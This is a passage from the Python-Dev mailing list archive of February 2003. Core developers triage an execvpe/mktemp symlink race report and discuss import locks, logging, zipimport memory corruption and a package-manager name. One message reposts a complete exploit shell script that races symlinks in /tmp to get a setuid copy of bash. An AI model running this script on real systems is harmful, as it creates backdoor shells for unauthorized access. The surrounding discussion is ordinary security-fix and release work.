from the Source (#1, Feb 16 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 44 days left EuroPython 2003, Charleroi, Belgium: 128 days left From aahz@pythoncraft.com Sun Feb 16 17:34:22 2003 From: aahz@pythoncraft.com (Aahz) Date: Sun, 16 Feb 2003 12:34:22 -0500 Subject: [Python-Dev] Re: execve vulnerability In-Reply-To: References: Message-ID: <20030216173422.GA24241@panix.com> On Sun, Feb 16, 2003, Bill Bumgarner wrote: > > Can you please let me know if the fix is in the maintenance branch of > 2.2 and which version it is present in? > > I need to make a recommendation to Apple as to how to deal with this > issue -- knowing the exact tree to grab would be very helpful. This seems like a good reason to issue 2.2.3. Per PEP 6, we need a Patch Czar to champion it. Anyone want to take it up? -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From guido@python.org Sun Feb 16 17:45:24 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 12:45:24 -0500 Subject: [Python-Dev] Import lock knowledge required! In-Reply-To: Your message of "Sun, 16 Feb 2003 10:49:30 +0100." <3E4F5EAA.5090307@lemburg.com> References: <3E4F5EAA.5090307@lemburg.com> Message-ID: <200302161745.h1GHjOD12779@pcp02138704pcs.reston01.va.comcast.net> [MAL] > I wonder whether a general lock such as the one used in import > is such a good idea. Perhaps it should only lock the importing > of a specific module, keeping the locks in a dictionary indexed by > module name instead of a static C variable ?! I've been thinking along the same lines. We could make the import locking much finer-grained, and limit the blocking only to threads that are importing a module that is in the middle of being loaded by some other thread. But this is hard work, and I suggest that we put this off until Python 2.4 so we can do it right. > Then again it's hard to know the real name of the module being > searched before finding it... There could be a short-lived lock for that problem. > I see a more general problem here: the lock prevent starting > up threaded applications which use client-server logic between > the threads. If the application's main thread starts a client > thread as a result of an import which then tries to import > other Python modules, you have a deadlock. (At least that's how > I understand the current implementation.) Correct. > Don't know about others, but I frequently use the idiom of > placing the server's main code in a separate module and then > have small startup script importing this module. This kind > of setup is also advertised for CGI programs, so it may not > be uncommon out there. We had this problem with Zope2 -- I don't know why the import lock didn't bite us before, but we decided to change the Zope startup code so that you have to import Zope first and then, separately, make a call to start it. You could do the same for your application, and I recommend that Mark does the same for his. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 16 17:51:24 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 12:51:24 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: Your message of "Sun, 16 Feb 2003 09:31:21 PST." <87of5cb09i.fsf@egil.codesourcery.com> References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> Message-ID: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> [Aahz, quoting an anonymous security report] > >> >> It is possible, to create a link of the file to be executed > >> >> (t) in the limited time window between the statements > >> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in > >> >> os.py are executed. [Zack] > >> That is exactly the signature of one of the tempfile bugs that I > >> fixed. I do not know whether any official 2.2.x release has yet > >> occurred that includes the bugfix. [Aahz] > > That's what I suspected. Did you check that into the 2.2.x maint > > branch? (I remember that you did, but I'm triple-checking.) [Zack] > I don't have write privileges. I thought that it was checked into the > 2.2.x maint branch but I don't actually know. Zack's changes to tempfile.py were *not* checked into Python 2.2 -- they require API changes that are difficult to justify. (The changes by Zack that you remember being checked into 2.2 were execve.) A problem with Zack's tempfile changes is that many uses of mktemp are perfectly safe, and the warning is so annoying that I decided to disable the warning. I'm not quite sure what to do now. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 16 17:53:18 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 12:53:18 -0500 Subject: [Python-Dev] Re: execve vulnerability In-Reply-To: Your message of "Sun, 16 Feb 2003 12:34:22 EST." <20030216173422.GA24241@panix.com> References: <20030216173422.GA24241@panix.com> Message-ID: <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net> > On Sun, Feb 16, 2003, Bill Bumgarner wrote: > > > > Can you please let me know if the fix is in the maintenance branch of > > 2.2 and which version it is present in? > > > > I need to make a recommendation to Apple as to how to deal with this > > issue -- knowing the exact tree to grab would be very helpful. > > This seems like a good reason to issue 2.2.3. Per PEP 6, we need a > Patch Czar to champion it. Anyone want to take it up? The execve security fix is already in 2.2.2. --Guido van Rossum (home page: http://www.python.org/~guido/) From zack@codesourcery.com Sun Feb 16 17:56:12 2003 From: zack@codesourcery.com (Zack Weinberg) Date: Sun, 16 Feb 2003 09:56:12 -0800 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Sun, 16 Feb 2003 12:51:24 -0500") References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <87isvkaz43.fsf@egil.codesourcery.com> Guido van Rossum writes: > [Aahz, quoting an anonymous security report] >> >> >> It is possible, to create a link of the file to be executed >> >> >> (t) in the limited time window between the statements >> >> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in >> >> >> os.py are executed. > > [Zack] >> >> That is exactly the signature of one of the tempfile bugs that I >> >> fixed. I do not know whether any official 2.2.x release has yet >> >> occurred that includes the bugfix. > > [Aahz] >> > That's what I suspected. Did you check that into the 2.2.x maint >> > branch? (I remember that you did, but I'm triple-checking.) > > [Zack] >> I don't have write privileges. I thought that it was checked into the >> 2.2.x maint branch but I don't actually know. > > Zack's changes to tempfile.py were *not* checked into Python 2.2 -- > they require API changes that are difficult to justify. (The changes > by Zack that you remember being checked into 2.2 were execve.) The present report should have been addressed by the execve changes. zw From aahz@pythoncraft.com Sun Feb 16 18:42:29 2003 From: aahz@pythoncraft.com (Aahz) Date: Sun, 16 Feb 2003 13:42:29 -0500 Subject: [Python-Dev] Re: execve vulnerability In-Reply-To: <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net> References: <20030216173422.GA24241@panix.com> <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030216184229.GA11453@panix.com> On Sun, Feb 16, 2003, Guido van Rossum wrote: > > The execve security fix is already in 2.2.2. Never mind! I'll send a note to the reporter. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From jeremy@alum.mit.edu Sun Feb 16 19:04:20 2003 From: jeremy@alum.mit.edu (Jeremy Hylton) Date: 16 Feb 2003 14:04:20 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <1045422259.3168.20.camel@localhost.localdomain> On Sun, 2003-02-16 at 12:51, Guido van Rossum wrote: > Zack's changes to tempfile.py were *not* checked into Python 2.2 -- > they require API changes that are difficult to justify. (The changes > by Zack that you remember being checked into 2.2 were execve.) > > A problem with Zack's tempfile changes is that many uses of mktemp are > perfectly safe, and the warning is so annoying that I decided to > disable the warning. > > I'm not quite sure what to do now. If the exec problems were fixed in 2.2, doesn't that address the currently reported vulnerability? I glanced at the Debian bug report and saw that it was reporting an exploit against 2.1.3. I see some value in doing a 2.1.4 release, but not enough value to justify the work. Aren't the changes in tempfile primarily the addition of new functions (mkstemp, mkdtemp)? I think it would be good to backport new functions that address security issues. Were there changes to the behavior of mktemp(), too? It seems hard to justify an incompatible change to existing functions. Jeremy From guido@python.org Sun Feb 16 19:26:56 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 14:26:56 -0500 Subject: [Python-Dev] Re: Python execvpe symlink race condition Message-ID: <200302161927.h1GJR2213164@pcp02138704pcs.reston01.va.comcast.net> Dear submitter, Thanks for your vulnerability report. The vulnerability you reported has already been fixed in Python 2.2.2, released on October 14, 2002. As of that version, os.execvpe() no longer calls mktemp(). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 16 19:31:12 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 14:31:12 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: Your message of "16 Feb 2003 14:04:20 EST." <1045422259.3168.20.camel@localhost.localdomain> References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> <1045422259.3168.20.camel@localhost.localdomain> Message-ID: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net> > If the exec problems were fixed in 2.2, doesn't that address the > currently reported vulnerability? Correct. > I glanced at the Debian bug report and saw that it was reporting an > exploit against 2.1.3. I see some value in doing a 2.1.4 release, > but not enough value to justify the work. Same here. > Aren't the changes in tempfile primarily the addition of new functions > (mkstemp, mkdtemp)? I think it would be good to backport new functions > that address security issues. Were there changes to the behavior of > mktemp(), too? It seems hard to justify an incompatible change to > existing functions. I think mktemp()'s API is unchanged if you don't count the warning (which I disabled anyway). However the name template used for temporary files is very different -- could this affect applications? --Guido van Rossum (home page: http://www.python.org/~guido/) From logi.stix@verizon.net Sun Feb 16 21:45:17 2003 From: logi.stix@verizon.net (logistix) Date: Sun, 16 Feb 2003 16:45:17 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <000001c2d604$b5950250$20bba8c0@XP> > -----Original Message----- > From: python-dev-admin@python.org [mailto:python-dev-admin@python.org] On > Behalf Of Guido van Rossum > > > I glanced at the Debian bug report and saw that it was reporting an > > exploit against 2.1.3. I see some value in doing a 2.1.4 release, > > but not enough value to justify the work. > > Same here. > Shouldn't there be at least some notification to the community at large? Something that requires the least amount of work possible short of doing nothing at all. Like a notice that 2.1.3 has known security vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and python-announce. And possibly a python-security list for the future that security minded people can subscribe to. From jeremy@alum.mit.edu Sun Feb 16 21:58:52 2003 From: jeremy@alum.mit.edu (Jeremy Hylton) Date: 16 Feb 2003 16:58:52 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net> References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> <1045422259.3168.20.camel@localhost.localdomain> <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <1045432731.2541.25.camel@localhost.localdomain> On Sun, 2003-02-16 at 14:31, Guido van Rossum wrote: > I think mktemp()'s API is unchanged if you don't count the warning > (which I disabled anyway). However the name template used for > temporary files is very different -- could this affect applications? It shouldn't affect any applications, but I'm sure it will. The pattern is so simple that there's probably code to delete tempfiles based on the pattern. Some unfortunate program probably uses mktemp() + re to get the pid <0.9 wink>. However, we can add the two new functions and have them use the new pattern. This won't break any existing code, but will let people fix their programs without upgrading to 2.3. Jeremy From guido@python.org Sun Feb 16 21:50:23 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 16 Feb 2003 16:50:23 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: Your message of "Sun, 16 Feb 2003 16:45:17 EST." <000001c2d604$b5950250$20bba8c0@XP> References: <000001c2d604$b5950250$20bba8c0@XP> Message-ID: <200302162150.h1GLoNJ13539@pcp02138704pcs.reston01.va.comcast.net> > Shouldn't there be at least some notification to the community at large? > Something that requires the least amount of work possible short of doing > nothing at all. Like a notice that 2.1.3 has known security > vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted > on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and > python-announce. And possibly a python-security list for the future > that security minded people can subscribe to. I don't think that would send the right message. There's no need to panic -- it's pretty tough to imagine how this vulnerability could be exploited, but a message recommending that everyone upgrade would not make this clear. --Guido van Rossum (home page: http://www.python.org/~guido/) From logi.stix@verizon.net Sun Feb 16 23:22:32 2003 From: logi.stix@verizon.net (logistix) Date: Sun, 16 Feb 2003 18:22:32 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <20030216044319.GB1680@panix.com> Message-ID: <000001c2d612$4b61c810$20bba8c0@XP> Not to beat a dead horse, but the exploit code is published at: http://www.ad2u.gr/index.php?topic=Exploits It does work on my (unpatched vmware) RedHat 7.3. Although (as the notice stated), it creates a suidshell as the user who runs the script, not root. It also needs to be modified to use python2 on RedHat Here's the code: #!/bin/sh echo "Python < 2.2.2 Symlink Race Condition exploit" echo "Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003" echo "This is a proof of concept code!!! For educational purposes only" evilcmd="#!/bin/sh\ncp /bin/bash /tmp/.sh\nchmod 4755 /tmp/.sh\n" status="??" echo "Creating suidshell script" echo -e $evilcmd > /tmp/runme.sh chmod 755 /tmp/runme.sh perl -e 'while (1) { open ps,"ps -ef | grep -v grep | grep -v PID |"; while () {@args = split " ", $_;if (/python/) {$args[2] = "@"; symlink("/tmp/runme.sh","/tmp/$args[2]$args[1].0");}}}'& echo "Building python file..." echo -e "import os\nos.execvpe('echo',['echo','-n','.'],os.environ)" > /tmp/python.py echo "Be patient, it will take a few moments" while [ "$status" != "ok" ] do python /tmp/python.py if test -e /tmp/.sh; then status="ok" fi done echo -e "\nYou got your suidshell..." ls -al /tmp/.sh echo "Cleaning environment" killall -9 perl rm -rf /tmp/runme.sh /tmp/*.0 /tmp/python.py From vinay_sajip@red-dove.com Mon Feb 17 00:51:10 2003 From: vinay_sajip@red-dove.com (Vinay Sajip) Date: Mon, 17 Feb 2003 00:51:10 -0000 Subject: [Python-Dev] Changes to logging References: <000501c2d4ed$fec5aaa0$652b6992@alpha> <200302151552.h1FFqVI01618@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <004e01c2d61e$acd1f8c0$652b6992@alpha> > > I've got a set of patches which I want to make to logging: > > Please upload to SF ASAP -- I'd like to do another alpha next Tuesday. > > Please send forward context or unified diffs relative to current > CVS! Uploaded, see http://sf.net/tracker/index.php?func=detail&aid=687683&group_id=5470&atid=30 5470 I assigned it to Neal, hope that's OK. Regards, Vinay Sajip From bckfnn@worldonline.dk Mon Feb 17 08:04:14 2003 From: bckfnn@worldonline.dk (Finn Bock) Date: Mon, 17 Feb 2003 09:04:14 +0100 Subject: [Python-Dev] CALL_ATTR, A Method Proposal References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141801.h1EI1mJ03013@odiug.zope.com> Message-ID: <3E50977E.3040404@worldonline.dk> [Guido van Rossum] > Here's how I think the CALL_ATTR opcode should work: Which is basicly what Jython does (except that jython does not yet have new-style classes). Jython also does a tiny bit of handling of non-functions. Maybe that is usefull here too. > if is a new instance: > if the class's getattr policy is standard: > if not in .__dict__: > search .__class__ and its base classes for > if found and the result is a Python function: > call it with arguments (, ) and return > elif is a classic instance: > if not in .__dict__: > search .__class__ and its base classes for > if found: if the result is a Python function: call it with arguments (, ) and return else: bind the non-function and call with () > # if we get here, the optimization doesn't apply > tmp = getattr(, ) > return tmp() regards, finn From mal@lemburg.com Mon Feb 17 08:42:16 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 17 Feb 2003 09:42:16 +0100 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src/Misc NEWS,1.660,1.661 In-Reply-To: References: Message-ID: <3E50A068.5050709@lemburg.com> Jack, please change the name of that module before it's too late. Something like pkgman would much better fit the purpose (or packman if you feel that it should be a funny name ;-). jackjansen@users.sourceforge.net wrote: > Update of /cvsroot/python/python/dist/src/Misc > In directory sc8-pr-cvs1:/tmp/cvs-serv21478 > > Modified Files: > NEWS > Log Message: > Added notes about pimp and bundlebuilder to the Mac section. > > > Index: NEWS > =================================================================== > RCS file: /cvsroot/python/python/dist/src/Misc/NEWS,v > retrieving revision 1.660 > retrieving revision 1.661 > diff -C2 -d -r1.660 -r1.661 > *** NEWS 14 Feb 2003 19:29:21 -0000 1.660 > --- NEWS 16 Feb 2003 23:00:53 -0000 1.661 > *************** > *** 359,362 **** > --- 359,370 ---- > - Type Carbon.File.FSCatalogInfo and supporting methods have been implemented. > This also makes macfs.FSSpec.SetDates() work again. > + > + - There is a new module pimp, the package install manager for Python, and > + accompanying applet PackageManager. These allow you to easily download > + and install pretested extension packages either in source or binary > + form. Only in MacPython-OSX. > + > + - Applets are now built with bundlebuilder in MacPython-OSX, which should make > + them more robust and also provides a path towards BuildApplication. > > > > > > _______________________________________________ > Python-checkins mailing list > Python-checkins@python.org > http://mail.python.org/mailman/listinfo/python-checkins -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 17 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 43 days left EuroPython 2003, Charleroi, Belgium: 127 days left From Jack.Jansen@cwi.nl Mon Feb 17 10:01:30 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Mon, 17 Feb 2003 11:01:30 +0100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <3E50A068.5050709@lemburg.com> Message-ID: On Monday, Feb 17, 2003, at 09:42 Europe/Amsterdam, M.-A. Lemburg wrote: > Jack, please change the name of that module before it's too > late. Something like pkgman would much better fit the purpose > (or packman if you feel that it should be a funny name ;-). Hmm, you're the second person to state that the name pimp isn't a good idea. I tend to like names with a bit of a joke in them, and there's more Python-related names that do this (idle, piddle). Does anyone else have an opinion on the matter? -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From mhammond@skippinet.com.au Mon Feb 17 11:09:17 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Mon, 17 Feb 2003 22:09:17 +1100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: Message-ID: <00c201c2d675$042386b0$530f8490@eden> > Hmm, you're the second person to state that the name pimp > isn't a good idea. > I tend to like names with a bit of a joke in them, and there's more > Python-related names that do this (idle, piddle). > > Does anyone else have an opinion on the matter? +1 on pimp from here :) Mark. From neal@metaslash.com Mon Feb 17 15:02:15 2003 From: neal@metaslash.com (Neal Norwitz) Date: Mon, 17 Feb 2003 10:02:15 -0500 Subject: [Python-Dev] incorrect regression tests Message-ID: <20030217150215.GN31973@epoch.metaslash.com> I found 7 regression tests which weren't being executed by regrtest. I checked in fixes for 6 of them. test_zipimport was the other test, but there was a problem. More on that below. To be run, tests must do one of following: 1) have a def test_main() which runs the tests 2) run the tests as a side-effect of import I'm wondering if regrtest.py should grow an option to print a list of all the tests which don't define test_main? When adding a new test, it will be easy to verify the test is, in fact, being run. Perhaps also a list of known tests which don't have a test_main and are expected to run on import? (I think there's over 100.) When test_zipimport is run by regrtest, there is memory corruption: [neal@epoch 2.3]$ ./python -E -tt ./Lib/test/regrtest.py test_zipimport test_zipimport Debug memory block at address p=0x40280508: 74 bytes originally requested The 4 pad bytes at p-4 are FORBIDDENBYTE, as expected. The 4 pad bytes at tail=0x40280552 are not all FORBIDDENBYTE (0xfb): at tail+0: 0x00 *** OUCH at tail+1: 0xfb at tail+2: 0xfb at tail+3: 0xfb The block was made by call #51959 to debug malloc/realloc. Data at p: 64 65 66 20 67 65 74 5f ... 69 6c 65 5f 5f 0a 00 0a Fatal Python error: bad trailing pad byte Aborted (core dumped) I didn't check in the test or investigate the cause. Below is a patch to the test so it will run under regrtest. Neal -- Index: test_zipimport.py =================================================================== RCS file: /cvsroot/python/python/dist/src/Lib/test/test_zipimport.py,v retrieving revision 1.5 diff -w -u -r1.5 test_zipimport.py --- test_zipimport.py 9 Jan 2003 22:27:10 -0000 1.5 +++ test_zipimport.py 17 Feb 2003 14:58:45 -0000 @@ -186,6 +186,9 @@ compression = ZIP_DEFLATED -if __name__ == "__main__": +def test_main(): test_support.run_unittest(UncompressedZipImportTestCase) test_support.run_unittest(CompressedZipImportTestCase) + +if __name__ == "__main__": + test_main() From gsw@agere.com Mon Feb 17 15:10:18 2003 From: gsw@agere.com (Gerald S. Williams) Date: Mon, 17 Feb 2003 10:10:18 -0500 Subject: [Python-Dev] non-binary operators In-Reply-To: <20030215155003.21726.14568.Mailman@mail.python.org> Message-ID: Gary Herron wrote: > Good point. I've never actually used (a surprised when reminded of it's existence. There is however a > difference. A whole string of '<' operators (or even of string of > mixed '<' and '>' operators) can be understood by considering each > operation in isolation as a binary operation. Trying hard to avoid PEP 308 discussions: :-) Yes and no. You cannot collapse the expression, so these binary "operations" are really only partial operations. Granted, with th*n/el*e the left-most operand participates in both partial operations, but I'll leave that discussion to c.l.py. I was just pointing out that there's precedent for (a OP b OP c) != ((a OP b) OP c) != (a OP (b OP c)). -Jerry From tim_one@email.msn.com Mon Feb 17 16:46:10 2003 From: tim_one@email.msn.com (Tim Peters) Date: Mon, 17 Feb 2003 11:46:10 -0500 Subject: [Python-Dev] incorrect regression tests In-Reply-To: <20030217150215.GN31973@epoch.metaslash.com> Message-ID: [Neal Norwitz] > I found 7 regression tests which weren't being executed by regrtest. > I checked in fixes for 6 of them. Good catch! > test_zipimport was the other test, but there was a problem. More on > that below. Ditto. > To be run, tests must do one of following: > > 1) have a def test_main() which runs the tests > 2) run the tests as a side-effect of import New tests should do #1 (IMO). #2 means the import lock is held for the duration of the test, and that can create deadlock problems (indeed, I added the test_main() business to make it possible to run some thread tests reliably -- besides, it's always a mental strain when "big things" happen as a side effect). > I'm wondering if regrtest.py should grow an option to print a list of > all the tests which don't define test_main? When adding a new test, > it will be easy to verify the test is, in fact, being run. Perhaps > also a list of known tests which don't have a test_main and are > expected to run on import? (I think there's over 100.) I'm not sure how this would help unless combined with a crusade to enforce that all tests have a test_main. Then regrtest could simply complain when there isn't one. > When test_zipimport is run by regrtest, there is memory corruption: > > [neal@epoch 2.3]$ ./python -E -tt ./Lib/test/regrtest.py test_zipimport > test_zipimport > Debug memory block at address p=0x40280508: > 74 bytes originally requested That's an unusual # of bytes requested, because it's not divisible by 4. Best guess is that it's string memory. > The 4 pad bytes at p-4 are FORBIDDENBYTE, as expected. > The 4 pad bytes at tail=0x40280552 are not all FORBIDDENBYTE (0xfb): > at tail+0: 0x00 *** OUCH > at tail+1: 0xfb > at tail+2: 0xfb > at tail+3: 0xfb So code wrote \x00 into a single byte following the requested area: best guess now is that it's string memory and that whoever asked for it forgot to ask for room for a trailing 0 byte. > The block was made by call #51959 to debug malloc/realloc. In obmalloc.c: """ /* serialno is always incremented via calling this routine. The point is to supply a single place to set a breakpoint. */ static void bumpserialno(void) { ++serialno; } """ If the test is deterministic, you can set a conditional breakpoint there for when serialno reaches 51959, and catch the offending malloc/realloc call in the act. > Data at p: 64 65 66 20 67 65 74 5f ... 69 6c 65 5f 5f 0a 00 0a d e f g e t _ ... i l e _ _ \n \0 \n It's probably relevant that test_zipimport.py contains def get_file(): return __file__ in a string passed to compile() (and perhaps that Guido recently changed compile()). From eric@enthought.com Mon Feb 17 18:29:31 2003 From: eric@enthought.com (eric jones) Date: Mon, 17 Feb 2003 12:29:31 -0600 Subject: [Python-Dev] Import lock knowledge required! In-Reply-To: <200302161745.h1GHjOD12779@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <000501c2d6b2$865eaeb0$8901a8c0@ERICDESKTOP> > [MAL] > > I wonder whether a general lock such as the one used in import > > is such a good idea. Perhaps it should only lock the importing > > of a specific module, keeping the locks in a dictionary indexed by > > module name instead of a static C variable ?! I am interested in this also. > > [Guido] > I've been thinking along the same lines. We could make the import > locking much finer-grained, and limit the blocking only to threads > that are importing a module that is in the middle of being loaded by > some other thread. > > But this is hard work, and I suggest that we put this off until Python > 2.4 so we can do it right. I ran into this exact thing when trying to get wxPython windows (data plots) to co-exist peacefully on the screen in parallel with an interactive shell. The module is called gui_thread, and we use it in SciPy. http://www.scipy.org/site_content/tutorials/gui_thread The command line took the main thread, and a wxPython app was started in the background thread. The first import of wxPython had to occur in the background thread for wxPython's to be happy. Initially, I put a lock in the import of gui_thread which waited for the wxPython import to complete before allowing the gui_thread import to complete. If 'import gui_thread' is the first statement executed, this guarantees that wxPython is always imported first in the background thread. Unfortunately, it also causes deadlock because of the import lock. A discussion that occurred about this problem on the thread-sig with is summarized here: http://www.scipy.org/site_content/tutorials/import_thread_lock_discussio n It includes an alternative version of several import.c routines (compared to 1.5.2 I believe) that solved my problem as proposed by MAL above and passed all the regression tests at the time. I just plugged the code into the 2.3CVS, and it mainly works. But, there are some import related errors in the regression tests for: test_threaded_import test_loggingllbacks I could spend some time on these if there is interest in getting this in the current release. Also, this code would need review by someone that is an expert on the subtleties of the import code to make sure it is sound. Let me know, and I'll submit a patch with of the current code. eric From bac@OCF.Berkeley.EDU Mon Feb 17 18:51:16 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 17 Feb 2003 10:51:16 -0800 (PST) Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: References: Message-ID: [Jack Jansen] > > Hmm, you're the second person to state that the name pimp isn't a good > idea. > I tend to like names with a bit of a joke in them, and there's more > Python-related names that do this (idle, piddle). > > Does anyone else have an opinion on the matter? +1 on pimp. -Brett From mal@lemburg.com Mon Feb 17 19:06:37 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 17 Feb 2003 20:06:37 +0100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: References: Message-ID: <3E5132BD.9050306@lemburg.com> Brett Cannon wrote: > [Jack Jansen] > >>Hmm, you're the second person to state that the name pimp isn't a good >>idea. >>I tend to like names with a bit of a joke in them, and there's more >>Python-related names that do this (idle, piddle). >> >>Does anyone else have an opinion on the matter? > > +1 on pimp. I am surprised. piddle and idle are OK, since they are harmless, but I do believe that getting Python packages via a "pimp" is a bit over the top. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 17 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 43 days left EuroPython 2003, Charleroi, Belgium: 127 days left From whisper@oz.net Mon Feb 17 19:15:31 2003 From: whisper@oz.net (David LeBlanc) Date: Mon, 17 Feb 2003 11:15:31 -0800 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <3E5132BD.9050306@lemburg.com> Message-ID: > > I am surprised. piddle and idle are OK, since they are harmless, > but I do believe that getting Python packages via a "pimp" is a > bit over the top. > > -- > Marc-Andre Lemburg > eGenix.com But idle is a waste of time and piddle leaves smelly stains on the carpet - at least with a pimp you get something that's fun to play with ;) Dave LeBlanc Seattle, WA USA From bac@OCF.Berkeley.EDU Mon Feb 17 20:56:15 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 17 Feb 2003 12:56:15 -0800 (PST) Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <3E5132BD.9050306@lemburg.com> References: <3E5132BD.9050306@lemburg.com> Message-ID: [M.-A. Lemburg] > Brett Cannon wrote: > > +1 on pimp. > > I am surprised. piddle and idle are OK, since they are harmless, > but I do believe that getting Python packages via a "pimp" is a > bit over the top. > I just don't view it as that insulting. In America it has become a slang term to mean something is cool; "That's so pimp!" -Brett From mal@lemburg.com Mon Feb 17 22:59:04 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 17 Feb 2003 23:59:04 +0100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: References: <3E5132BD.9050306@lemburg.com> Message-ID: <3E516938.5070500@lemburg.com> Brett Cannon wrote: > [M.-A. Lemburg] > >>Brett Cannon wrote: >> >>>+1 on pimp. >> >>I am surprised. piddle and idle are OK, since they are harmless, >>but I do believe that getting Python packages via a "pimp" is a >>bit over the top. > > I just don't view it as that insulting. In America it has become a slang > term to mean something is cool; "That's so pimp!" I don't think that's going to fly... just think of a user manual: "Please use the pimp for your platform to download piddle from the Internet. After successful operation, click on idle to start off into working mode." Must be a cultural thing... -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 17 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 43 days left EuroPython 2003, Charleroi, Belgium: 127 days left From bac@OCF.Berkeley.EDU Mon Feb 17 23:03:37 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 17 Feb 2003 15:03:37 -0800 (PST) Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <3E516938.5070500@lemburg.com> References: <3E5132BD.9050306@lemburg.com> <3E516938.5070500@lemburg.com> Message-ID: [M.-A. Lemburg] > Brett Cannon wrote: > > [M.-A. Lemburg] > > > >>Brett Cannon wrote: > > I 